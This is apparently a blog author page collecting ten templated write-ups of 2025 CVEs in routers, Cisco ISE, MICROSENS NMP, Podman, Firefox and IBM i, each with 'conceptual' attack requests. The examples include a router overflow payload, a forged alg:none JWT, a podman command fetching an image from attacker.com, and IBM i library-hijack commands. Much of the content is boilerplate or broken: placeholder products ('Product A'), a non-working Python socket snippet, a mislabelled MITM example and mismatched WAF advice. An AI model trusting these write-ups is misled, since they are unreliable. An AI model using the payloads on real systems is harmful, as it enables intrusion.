Author: Ameeba

  • CVE-2025-6614: Critical Buffer Overflow Vulnerability in D-Link DIR-619L

    Overview

    The CVE-2025-6614 is a critical vulnerability that has been identified in the D-Link DIR-619L 2.06B01, a widely used router. This vulnerability is present in the function formSetWANType_Wizard5 and can lead to a stack-based buffer overflow when the ‘curTime’ argument is manipulated. This vulnerability can be exploited remotely, hence, potentially allowing attackers to compromise the system, manipulate data, or even cause a complete system crash. The exploit has been disclosed to the public, raising the risk for those using the affected products.

    Vulnerability Summary

    CVE ID: CVE-2025-6614
    Severity: Critical (8.8 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    D-Link DIR-619L | 2.06B01

    How the Exploit Works

    The exploit takes advantage of a stack-based buffer overflow vulnerability in the formSetWANType_Wizard5 function in the D-Link DIR-619L 2.06B01. By manipulating the ‘curTime’ argument, an attacker can overflow the buffer, corrupting the stack and potentially allowing the execution of arbitrary code or causing a denial of service through system crash.

    Conceptual Example Code

    Below is a conceptual example of a crafted HTTP POST request that could exploit this vulnerability:
    “`http
    POST /goform/formSetWANType_Wizard5 HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    curTime=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

  • CVE-2025-49151: Unauthenticated Attackers Can Forge JSON Web Tokens in MICROSENS NMP Web+

    Overview

    CVE-2025-49151 is a severe vulnerability found in MICROSENS NMP Web+, which allows unauthenticated attackers to forge JSON Web Tokens (JWT) and thereby bypass the authentication process. This vulnerability poses a significant risk to any organization utilizing MICROSENS NMP Web+, as it can lead to system compromise or data leakage. In this era of ever-evolving cyber threats, understanding such vulnerabilities and implementing effective mitigation measures is crucial to maintaining robust cybersecurity.

    Vulnerability Summary

    CVE ID: CVE-2025-49151
    Severity: Critical, with a CVSS score of 9.1
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    MICROSENS NMP Web+ | All versions prior to the patch

    How the Exploit Works

    The vulnerability lies in the handling of JSON Web Tokens within the MICROSENS NMP Web+ system. Attackers can exploit this flaw by creating forged JWTs, which the system will accept as genuine. Given that JWTs are used to authenticate users, this allows attackers to bypass authentication measures without needing valid credentials. This can lead to unauthorized access to the system, potentially leading to system compromise or data leakage.

    Conceptual Example Code

    Here’s a conceptual example of how an attacker might exploit this vulnerability:

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    {
    "alg": "none",
    "typ": "JWT"
    }
    {
    "sub": "1234567890",
    "name": "John Doe",
    "admin": true
    }

    In this example, the attacker creates a JWT with no algorithm (“alg”: “none”), effectively bypassing the signature verification process and tricking the system into thinking it’s a legitimate token.

    Mitigation Measures

    The primary mitigation measure for CVE-2025-49151 is to apply the vendor’s patch. All organizations using MICROSENS NMP Web+ should apply this patch as soon as possible to protect their systems from potential attacks.
    In situations where the patch cannot be immediately applied, temporary mitigation can be achieved using a Web Application Firewall (WAF) or Intrusion Detection System (IDS). These systems can detect and block malicious activity, providing a layer of security against potential exploits.
    Remember, vulnerabilities like CVE-2025-49151 highlight the importance of a proactive approach to cybersecurity. Regularly monitoring for new vulnerabilities and promptly applying updates and patches is crucial for protecting your systems against cyber threats.

  • CVE-2025-49153: Critical Vulnerability in MICROSENS NMP Web+

    Overview

    The cybersecurity landscape is laden with a myriad of threats and vulnerabilities, one of the most critical being CVE-2025-49153. This vulnerability resides in the MICROSENS Network Management Platform (NMP) Web+. The exploitation of such a critical vulnerability could allow an unauthenticated attacker to overwrite system files and execute arbitrary code. This poses a significant risk to organizations using the affected product, as this could lead to system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-49153
    Severity: Critical (9.8)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, potential data leakage

    Affected Products

    Product | Affected Versions

    MICROSENS NMP Web+ | All versions till the latest patch

    How the Exploit Works

    The vulnerability lies in the handling of certain requests by the MICROSENS NMP Web+. An attacker can craft a malicious request that is then processed by the affected software. Due to insufficient validation of these requests, the attacker can manipulate the system into overwriting vital files and execute arbitrary code. This leads to a compromise of the system integrity and confidentiality.

    Conceptual Example Code

    Here is a conceptual example of how the vulnerability might be exploited:

    POST /critical_endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "..." }

    In this example, an attacker sends a POST request to a critical endpoint on the target system. The malicious payload in the request body is designed to exploit the vulnerability, thus giving the attacker the ability to overwrite files and execute arbitrary code.
    To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can help detect and block malicious requests, thus preventing potential exploit of this vulnerability.

  • CVE-2025-20281: Critical Vulnerability in Cisco ISE and ISE-PIC APIs Allows Remote Code Execution

    Overview

    A severe vulnerability, designated as CVE-2025-20281, has been identified in the application programming interface (API) of Cisco’s Identity Services Engine (ISE) and ISE-PIC products. This vulnerability could potentially allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system with root privileges, leading to a significant system compromise or data leakage. Given the prominence of Cisco’s ISE and ISE-PIC products in the enterprise networking space, this vulnerability poses a substantial threat to organizations globally.

    Vulnerability Summary

    CVE ID: CVE-2025-20281
    Severity: Critical (CVSS: 9.8/10)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, Potential data leakage

    Affected Products

    Product | Affected Versions

    Cisco ISE | All versions prior to the patched version
    Cisco ISE-PIC | All versions prior to the patched version

    How the Exploit Works

    This vulnerability results from insufficient validation of user-supplied input in a specific API of the Cisco ISE and ISE-PIC. An attacker could exploit this vulnerability by crafting a special API request containing malicious input. When this request is processed by the affected system, due to the insufficient input validation, the attacker’s code is executed with root privileges on the underlying operating system, leading to a potential system compromise or data leakage.

    Conceptual Example Code

    An attacker could potentially exploit this vulnerability by sending a crafted HTTP request similar to the following:

    POST /api/vulnerable_endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "<CODE THAT EXECUTES ARBITRARY COMMANDS ON THE SYSTEM>" }

    In the above example, `` represents the attacker’s arbitrary code.

    Mitigation Guidance

    Organizations are advised to apply the vendor-provided patch as soon as possible to remediate this vulnerability. In the meantime, or in cases where immediate patching is not feasible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation, helping to detect and block attempts to exploit this vulnerability.

  • CVE-2025-20282: Unauthenticated File Upload and Execution Vulnerability in Cisco ISE and ISE-PIC

    Overview

    The CVE-2025-20282 vulnerability represents a critical threat to organizations utilizing Cisco ISE and Cisco ISE-PIC products. This vulnerability allows an unauthenticated, remote attacker to potentially compromise the system or leak data by uploading arbitrary files and executing them as root. This vulnerability is significant due to the potential for full system compromise and the widespread usage of these Cisco products in enterprise settings.

    Vulnerability Summary

    CVE ID: CVE-2025-20282
    Severity: Critical (CVSS 10.0)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Full system compromise, potential data leakage

    Affected Products

    Product | Affected Versions

    Cisco ISE | All versions prior to the patched version
    Cisco ISE-PIC | All versions prior to the patched version

    How the Exploit Works

    The exploit takes advantage of a vulnerability in an internal API of Cisco ISE and Cisco ISE-PIC which lacks sufficient file validation checks. An attacker could exploit this vulnerability by uploading a malicious file to the affected device, which could then be placed in privileged directories. Upon successful upload, the attacker has the ability to execute this file as root, potentially leading to full system compromise or data leakage.

    Conceptual Example Code

    This is a conceptual example illustrating the vulnerability. The attacker sends a POST request to the vulnerable endpoint with a malicious payload.

    POST /vulnerable/api/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/octet-stream
    Content-Length: [length]
    [binary data of the malicious file]

    Upon successful upload, the malicious file could be executed on the underlying system as root, leading to a potential system compromise or data leakage.

    Mitigation and Recommendations

    To mitigate this vulnerability, it is recommended to apply the security patch released by Cisco immediately. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation method. However, these measures do not fully protect against the exploit and are only to be used as interim solutions until the patch can be applied.
    It is also advised to regularly update and patch all systems and applications, regularly perform vulnerability scanning, and to follow the principle of least privilege to reduce the risk of similar vulnerabilities in the future.

  • CVE-2025-3090: Unauthenticated Remote Attack leading to Potential Data Leakage and System Compromise

    Overview

    Today, we will discuss a recently discovered cybersecurity vulnerability labelled as CVE-2025-3090. This vulnerability allows an unauthenticated remote attacker to obtain limited sensitive information and potentially cause a denial of service (DoS) to the affected device. This is due to a missing authentication process for a critical function in the system. The vulnerability is of great concern due to the potential for system compromise or data leakage, affecting a broad range of devices and systems. Given the severity of this issue, it is crucial for cybersecurity professionals, system administrators, and all concerned stakeholders to understand this vulnerability and take appropriate mitigation measures.

    Vulnerability Summary

    CVE ID: CVE-2025-3090
    Severity: High (CVSS Score 8.2)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, Data leakage

    Affected Products

    Product | Affected Versions

    Product A | Version 1.x, 2.x
    Product B | Version 3.x, 4.x

    How the Exploit Works

    The vulnerability, CVE-2025-3090, arises due to missing authentication for a critical function. An attacker, without requiring any form of authentication or user interaction, can exploit this flaw remotely over the network. By sending specially crafted requests to the affected device, the attacker can obtain sensitive information from the system. This exploit can also result in a denial of service (DoS) attack, effectively rendering the device unresponsive.

    Conceptual Example Code

    Here is a conceptual example of how the vulnerability might be exploited. This is a sample of a malicious HTTP request an attacker might send:

    GET /critical/function HTTP/1.1
    Host: target.example.com
    { "malicious_request": "extract_sensitive_info" }

    In this example, the “malicious_request” is sent to the “/critical/function” endpoint of the affected device. The device, lacking appropriate authentication for this function, processes the request and returns the sensitive information.
    Please note that this is a conceptual example. Actual exploits may be much more complex and may require deep knowledge of the system architecture and the specific vulnerability.

    Mitigation

    Users of affected products are strongly recommended to apply patches provided by the vendor as soon as possible. If a patch is not available or cannot be applied immediately, temporary mitigation can be achieved using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can be configured to detect and block malicious requests exploiting this vulnerability. However, these are only temporary measures and cannot replace the need for applying the necessary patches.

  • CVE-2025-6032: Unverified TLS Certificate in Podman Machine Init Command Leads to Potential Man-in-the-Middle Attack

    Overview

    In the constantly evolving landscape of cybersecurity, a new vulnerability has been discovered in Podman that could potentially lead to a system compromise or data leakage. This vulnerability affects the Podman machine init command, which fails to verify the TLS certificate when downloading the VM images from an OCI registry. The implications of this vulnerability are severe, as it opens the door for Man-in-the-Middle attacks, which could have devastating consequences for any system using Podman.

    Vulnerability Summary

    CVE ID: CVE-2025-6032
    Severity: High (8.3 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Man-in-the-Middle Attack, leading to potential system compromise or data leakage.

    Affected Products

    Product | Affected Versions

    Podman | All versions prior to the vendor patch

    How the Exploit Works

    This vulnerability stems from the Podman machine init command’s inability to verify the TLS certificate when downloading VM images from an OCI registry. An attacker could exploit this flaw by positioning themselves in the network path between the victim and the OCI registry. The attacker could then intercept the VM image download and replace it with a malicious image, leading to a Man-in-the-Middle attack.

    Conceptual Example Code

    The following is a conceptual example of how the vulnerability might be exploited:

    # Attacker intercepts the VM image download
    $ podman machine init --image-url https://attacker.com/evil_image
    # Podman downloads the malicious image without verifying the TLS certificate
    $ podman machine start
    # Attacker gains control of the system

    Mitigation and Patch Details

    The vulnerability can be mitigated by applying the vendor patch, which corrects the flaw by adding TLS certificate verification to the ‘podman machine init’ command. As a temporary measure, users can also employ Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to monitor and block suspicious network activity.
    It is strongly recommended that users apply the vendor patch as soon as possible to fully protect their systems against this severe vulnerability. Regularly updating and patching software is a crucial part of maintaining a secure system.

  • CVE-2025-6432: Bypassing SOCKS Proxy Vulnerability in Multi-Account Containers in Firefox

    Overview

    The cybersecurity world is currently facing a critical vulnerability that has been identified in the Multi-Account Containers feature of the Firefox browser. This vulnerability, designated as CVE-2025-6432, has the potential to compromise systems and lead to data leakage, posing a significant risk to both individuals and organizations that rely on Firefox for their browsing needs. This blog post aims to provide a detailed understanding of the vulnerability, its potential impact, and the steps needed to mitigate it.

    Vulnerability Summary

    CVE ID: CVE-2025-6432
    Severity: Critical (8.6 CVSS score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Firefox | Versions less than 140

    How the Exploit Works

    The CVE-2025-6432 vulnerability arises when the Multi-Account Containers feature is enabled in Firefox. Under certain conditions, specifically when the domain name is invalid or the SOCKS proxy is not responding, DNS requests could bypass the SOCKS proxy. This could potentially allow an attacker to intercept or manipulate the DNS requests, leading to system compromise or data leakage.

    Conceptual Example Code

    Here is an example of how the vulnerability might be exploited:

    import socket
    target = "victim.example.com"
    fake_dns_response = "malicious.example.com"
    socks_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socks_socket.bind(('', 0))  # Bind to any available port
    # Wait for a connection from the victim's browser
    victim_socket, victim_address = socks_socket.accept()
    # Receive the DNS request from the victim's browser
    dns_request = victim_socket.recv(1024)
    # Send a fake DNS response pointing to the attacker's server
    victim_socket.sendall(fake_dns_response)
    # Now the victim's browser will send its request to the attacker's server

    This code is a conceptual example and not meant to be used in real-world scenarios.

    Mitigation Guidance

    The primary mitigation for this vulnerability is to apply the vendor patch as soon as it is available. Mozilla is likely to release a patch for this in a future version of Firefox. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can monitor network traffic for malicious activities and can potentially block any attempt to exploit this vulnerability.

  • CVE-2025-36004: Unqualified Library Call Vulnerability in IBM i Facsimile Support

    Overview

    The cybersecurity landscape continually grapples with newly discovered vulnerabilities, one of which is CVE-2025-36004. This particular vulnerability pertains to IBM i versions 7.2, 7.3, 7.4, and 7.5. It’s a serious issue that potentially allows a user to gain elevated privileges due to an unqualified library call in IBM Facsimile Support for i. This vulnerability matters because a malicious actor could exploit it to run user-controlled code with administrator privileges, potentially leading to system compromise or data leakage. Both IBM i users and administrators need to be aware of this vulnerability and take the necessary steps to mitigate its risks.

    Vulnerability Summary

    CVE ID: CVE-2025-36004
    Severity: High (8.8 CVSS Score)
    Attack Vector: Local
    Privileges Required: Low
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    IBM i | 7.2
    IBM i | 7.3
    IBM i | 7.4
    IBM i | 7.5

    How the Exploit Works

    The exploit works by taking advantage of an unqualified library call in IBM Facsimile Support for i. In simple terms, an unqualified library call is when a program doesn’t specify the library that is to be used for a certain function. This can lead to the wrong library being called and manipulated, especially if a malicious user is aware of this vulnerability. In this case, the malicious user can insert their own library into the library list, which would then be called instead of the intended library. This could allow the user to run their own code with elevated privileges.

    Conceptual Example Code

    Below is a conceptual example of how this type of vulnerability might be exploited. This example uses a shell command to illustrate the point:

    # Add malicious library to the library list
    ADDLIBLE LIB(MALICIOUS_LIB)
    # Call function that has an unqualified library call
    CALL PGM(IBM_FAX_FUNC)

    In this example, the `ADDLIBLE` command is used to add the malicious library to the library list. Then, when the `CALL` command is used to call a function that has an unqualified library call, the system could potentially call the malicious library instead of the intended one. This could allow the malicious user to run their own code with elevated privileges.

  • CVE-2025-6568: Critical Buffer Overflow Vulnerability in TOTOLINK EX1200T

    Overview

    The cybersecurity landscape is witnessing yet another critical vulnerability, this time in the TOTOLINK EX1200T 4.1.2cu.5232_B20210713. Known as CVE-2025-6568, this flaw poses significant risks to users and systems using the affected device. This vulnerability primarily affects an unknown function of the file /boafrm/formIpv6Setup of the HTTP POST Request Handler component.
    Given the nature of the flaw, it’s importance cannot be overstated. The exploit has been made public, and it is possible to launch attacks remotely, emphasizing the criticality and urgency of addressing this vulnerability.

    Vulnerability Summary

    CVE ID: CVE-2025-6568
    Severity: Critical – CVSS Score 8.8
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    TOTOLINK | EX1200T 4.1.2cu.5232_B20210713

    How the Exploit Works

    The exploit takes advantage of a buffer overflow vulnerability in the HTTP POST Request Handler component of the TOTOLINK EX1200T. Specifically, an unknown function of the file /boafrm/formIpv6Setup is affected. In this case, the manipulation of the ‘submit-url’ argument can trigger a buffer overflow, providing the attacker with the opportunity to execute arbitrary code or disrupt the normal operation of the system.

    Conceptual Example Code

    The following is a conceptual example of how an HTTP POST request might be manipulated to exploit this vulnerability. Note that this is a simplified representation and actual exploit code would be much more complex.

    POST /boafrm/formIpv6Setup HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    submit-url=...&overly_long_string_that_causes_buffer_overflow

    Here, the overly long string that causes the buffer overflow is the malicious payload that an attacker might use to exploit the vulnerability. Any system using an affected version of the product and receiving this malformed request could potentially be compromised.

    Recommended Mitigation

    Given the severity and potential impact of this vulnerability, it is recommended to apply the vendor’s patch as soon as it becomes available. If a patch is not yet available or if there are constraints in applying it immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation solution. These can help to detect and prevent potentially malicious activities. However, these are not long-term solutions and can not replace the necessity of patching the vulnerability.

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